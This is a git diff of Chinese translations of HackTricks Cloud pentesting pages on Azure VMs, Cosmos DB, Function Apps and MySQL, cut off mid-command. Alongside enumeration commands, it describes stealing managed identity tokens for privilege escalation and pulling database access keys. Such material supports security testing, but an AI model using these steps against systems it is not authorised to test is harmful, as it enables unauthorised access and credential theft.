## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
所有这些都是 **创建具有特定托管身份的 VM** 并保持 **端口开放**(在这种情况下为 22)所需的权限。这允许用户创建 VM 并连接到它,并 **窃取托管身份令牌** 以提升权限。
|
||||
所有这些都是 **创建具有特定托管身份的 VM** 并保持 **端口开放**(在此情况下为 22)所需的权限。这允许用户创建 VM 并连接到它,并 **窃取托管身份令牌** 以提升权限。
|
||||
|
||||
根据情况,可能需要更多或更少的权限来滥用此技术。
|
||||
```bash
|
||||
@@ -346,7 +346,7 @@ az vm identity assign \
|
||||
然后攻击者需要**以某种方式破坏虚拟机**以窃取分配的托管身份的令牌。查看**更多信息**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
359
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
359
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
@@ -0,0 +1,359 @@
|
||||
# Az - CosmosDB
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** 是一个完全 **托管的 NoSQL、关系型和向量数据库**,提供单毫秒级响应时间、自动扩展和 SLA 支持的可用性,具备企业级安全性。它通过即开即用的多区域数据分发、开源 API、流行语言的 SDK 以及集成向量支持和无缝 Azure AI 集成等 AI 数据库功能,加速应用程序开发。
|
||||
|
||||
Azure Cosmos DB 提供多种数据库 API,以使用文档、关系型、键值、图形和列族数据模型来建模现实世界的数据,这些 API 包括 NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin 和 Table。
|
||||
|
||||
CosmosDB 的一个关键方面是 Azure Cosmos 账户。**Azure Cosmos 账户** 作为数据库的入口点。该账户决定关键设置,如全球分布、一致性级别和要使用的特定 API,例如 NoSQL。通过该账户,您可以配置全球复制,以确保数据在多个区域可用,以实现低延迟访问。此外,您可以选择在性能和数据准确性之间取得平衡的一致性级别,选项范围从强一致性到最终一致性。
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API 是一个基于文档的 API,使用 JSON 作为其数据格式。它提供类似 SQL 的查询语法来查询 JSON 对象,使其适合处理结构化和半结构化数据。该服务的端点是:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### 数据库
|
||||
在一个帐户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配的吞吐量,或为单个容器分配专用吞吐量。
|
||||
|
||||
#### 容器
|
||||
数据存储的核心单元是容器,它保存 JSON 文档并自动进行索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,以“customerId”作为分区键。
|
||||
|
||||
#### 枚举
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
|
||||
# CosmoDB (NoSQL)
|
||||
## List the SQL databases under an Azure Cosmos DB account.
|
||||
az cosmosdb sql database list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List the SQL containers under an Azure Cosmos DB SQL database.
|
||||
az cosmosdb sql container list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
## List all SQL role assignments under an Azure Cosmos DB
|
||||
az cosmosdb sql role assignment list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List all SQL role definitions under an Azure Cosmos DB
|
||||
az cosmosdb sql role definition list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
|
||||
## List the SQL stored procedures under an Azure Cosmos DB
|
||||
az cosmosdb sql stored-procedure list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL triggers under an Azure Cosmos DB SQL container.
|
||||
az cosmosdb sql trigger list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL user defined functions under an Azure Cosmos DB SQL container
|
||||
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all SQL containers in a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlContainer -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# Get backup information for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>" -Location "<location>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>"
|
||||
|
||||
# List all SQL databases under a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlDatabase -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -Name "<DatabaseName>"
|
||||
|
||||
# List all SQL role assignments for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all SQL role definitions for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all stored procedures in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all triggers in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 连接
|
||||
|
||||
要连接 azure-cosmosDB(pip install azure-cosmos)库是必需的。此外,端点和密钥是建立连接的关键组件。
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
# Connection details
|
||||
endpoint = "<your-account-endpoint>"
|
||||
key = "<your-account-key>"
|
||||
|
||||
# Initialize Cosmos Client
|
||||
client = CosmosClient(endpoint, key)
|
||||
|
||||
# Access existing database and container
|
||||
database_name = '<SampleDB>'
|
||||
container_name = '<SampleContainer>'
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert multiple documents
|
||||
items_to_insert = [
|
||||
{"id": "1", "name": "Sample Item", "description": "This is a sample document."},
|
||||
{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."},
|
||||
{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."},
|
||||
]
|
||||
|
||||
for item in items_to_insert:
|
||||
container.upsert_item(item)
|
||||
|
||||
# Query all documents
|
||||
query = "SELECT * FROM c"
|
||||
all_items = list(container.query_items(
|
||||
query=query,
|
||||
enable_cross_partition_query=True
|
||||
))
|
||||
|
||||
# Print all queried items
|
||||
print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
另一种建立连接的方法是使用 **DefaultAzureCredential()**。只需使用具有权限的帐户登录 (az login) 并执行它。对于这种情况,必须进行角色分配,以授予必要的权限 (见更多信息)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
|
||||
# Use Azure AD for authentication
|
||||
credential = DefaultAzureCredential()
|
||||
endpoint = "<your-account-endpoint>"
|
||||
client = CosmosClient(endpoint, credential)
|
||||
|
||||
# Access database and container
|
||||
database_name = "<mydatabase>"
|
||||
container_name = "<mycontainer>"
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert a document
|
||||
item = {
|
||||
"id": "1",
|
||||
"name": "Sample Item",
|
||||
"description": "This is a test item."
|
||||
}
|
||||
container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### MongoDB
|
||||
MongoDB NoSQL API 是一个基于文档的 API,使用类似 JSON 的 BSON(Binary JSON)作为其数据格式。它提供了具有聚合能力的查询语言,适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### 数据库
|
||||
在 MongoDB 中,您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组,并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据,例如用于不同的应用程序或项目。
|
||||
|
||||
#### 集合
|
||||
MongoDB 中数据存储的核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以支持在分布式设置中跨多个节点的高吞吐量操作。
|
||||
|
||||
#### 枚举
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all MongoDB collections in a specific database.
|
||||
Get-AzCosmosDBMongoDBCollection -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve backup information for a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name> -Location <Location>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name>
|
||||
|
||||
# List all MongoDB databases in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBDatabase -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB database.
|
||||
Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 连接
|
||||
|
||||
在这里,您可以通过密钥或在特权提升部分中描述的方法找到密码。
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
# Updated connection string with retryWrites=false
|
||||
connection_string = "mongodb://<account-name>.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false"
|
||||
|
||||
# Create the client
|
||||
client = MongoClient(connection_string, username="<username>", password="<password>")
|
||||
|
||||
# Access the database
|
||||
db = client['<database>']
|
||||
|
||||
# Access a collection
|
||||
collection = db['<collection>']
|
||||
|
||||
# Insert a single document
|
||||
document = {
|
||||
"name": "John Doe",
|
||||
"email": "johndoe@example.com",
|
||||
"age": 30,
|
||||
"address": {
|
||||
"street": "123 Main St",
|
||||
"city": "Somewhere",
|
||||
"state": "CA",
|
||||
"zip": "90210"
|
||||
}
|
||||
}
|
||||
|
||||
# Insert document
|
||||
result = collection.insert_one(document)
|
||||
print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## 权限提升
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 后期利用
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 待办事项
|
||||
|
||||
* 这里的其余数据库,表,cassandra,gremlin...
|
||||
* 查看后期利用 "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" 和角色定义,因为这里可能存在权限提升
|
||||
* 查看恢复情况
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -12,7 +12,7 @@
|
||||
### 不同计划
|
||||
|
||||
- **Flex Consumption Plan**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络** 和 **预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**。
|
||||
- **Traditional Consumption Plan**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。
|
||||
- **Traditional Consumption Plan**:默认的无服务器选项,您 **仅在函数运行时支付计算资源费用**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。
|
||||
- **Premium Plan**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**。
|
||||
- **Dedicated Plan**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**。
|
||||
- **Container Apps**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**。
|
||||
@@ -44,7 +44,7 @@
|
||||
|
||||
### **Function App 设置和环境变量**
|
||||
|
||||
可以在应用内部配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也是必需的。
|
||||
可以在应用内部配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。
|
||||
|
||||
这些环境变量或配置参数还控制函数如何执行代码,例如,如果存在 **`WEBSITE_RUN_FROM_PACKAGE`**,则会指示应用程序代码所在的 URL。
|
||||
|
||||
@@ -67,7 +67,7 @@
|
||||
|
||||
可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取,如下所述:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
请注意,您需要找到一种方法来 **检查函数附加的所有托管身份**,因为如果您不指明,元数据端点将 **仅使用默认身份**(有关更多信息,请查看前面的链接)。
|
||||
|
||||
@@ -86,8 +86,8 @@
|
||||
|
||||
- **函数密钥**:函数密钥可以是默认的或用户定义的,旨在仅授予对 Function App 中 **特定函数端点** 的访问权限,从而允许对端点进行更细粒度的访问。
|
||||
- **主机密钥**:主机密钥也可以是默认的或用户定义的,提供对 Function App 中 **所有函数端点的访问,具有 FUNCTION 访问级别**。
|
||||
- **主密钥**:主密钥(`_master`)作为管理密钥,提供提升的权限,包括访问所有函数端点(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。
|
||||
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可耐久函数,它们利用系统密钥与各自的 API 安全交互。
|
||||
- **主密钥**:主密钥(`_master`)作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。
|
||||
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可持久化函数,它们利用系统密钥与各自的 API 安全交互。
|
||||
|
||||
> [!TIP]
|
||||
> 使用密钥访问函数 API 端点的示例:
|
||||
@@ -96,7 +96,7 @@
|
||||
|
||||
### 基本身份验证
|
||||
|
||||
与应用服务一样,Functions 也支持基本身份验证,以通过 **SCM** 和 **FTP** 连接以使用 **Azure 提供的 URL 中的用户名和密码** 部署代码。有关更多信息,请参见:
|
||||
与应用服务一样,Functions 也支持基本身份验证,以通过 **用户名和密码在 URL 中** 连接到 **SCM** 和 **FTP** 以部署代码。有关更多信息,请参见:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### 基于 Github 的部署
|
||||
|
||||
当函数从 Github 仓库生成时,Azure Web 控制台允许 **在特定仓库中自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 看起来是这样的:
|
||||
当函数从 Github 仓库生成时,Azure Web 控制台允许 **在特定仓库中自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 如下所示:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
194
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
194
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
@@ -0,0 +1,194 @@
|
||||
# Az - MySQL 数据库
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL 是一个完全托管的关系数据库服务,基于 MySQL Community Edition,旨在为各种应用需求提供可扩展性、安全性和灵活性。它有两种不同的部署模型:
|
||||
|
||||
* **单服务器**(正在退役中):
|
||||
- 针对经济高效且易于管理的 MySQL 部署进行了优化。
|
||||
- 功能包括自动备份、高可用性和基本监控。
|
||||
- 适合具有可预测工作负载的应用程序。
|
||||
* **灵活服务器**:
|
||||
- 提供对数据库管理和配置的更多控制。
|
||||
- 支持高可用性(同一区域和区域冗余)。
|
||||
- 具有弹性扩展、补丁管理和工作负载优化功能。
|
||||
- 提供停止/启动功能以节省成本。
|
||||
|
||||
### 关键特性
|
||||
* **服务器管理**:**ad-admin** 功能允许管理 Azure Active Directory (AAD) 管理员,提供通过 AAD 凭据控制管理访问的能力,而 **identity** 功能则支持 Azure 托管身份的分配和管理,提供安全的无凭据身份验证以访问 Azure 资源。
|
||||
* **生命周期管理**:选项包括启动或停止服务器、删除灵活服务器实例、重启服务器以快速应用配置更改,以及等待确保服务器满足特定条件后再继续执行自动化脚本。
|
||||
* **安全性和网络**:可以管理服务器防火墙规则以确保数据库访问安全,并根据需要分离虚拟网络配置。
|
||||
* **数据保护和备份**:包括管理灵活服务器备份以进行数据恢复的选项,执行地理恢复以在不同区域恢复服务器,导出服务器备份以供外部使用(预览中),以及从备份恢复服务器到特定时间点。
|
||||
|
||||
### 枚举
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all flexible-servers
|
||||
az mysql flexible-server db list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az mysql flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a MySQL database
|
||||
az mysql flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az mysql flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az mysql flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az mysql flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az mysql flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
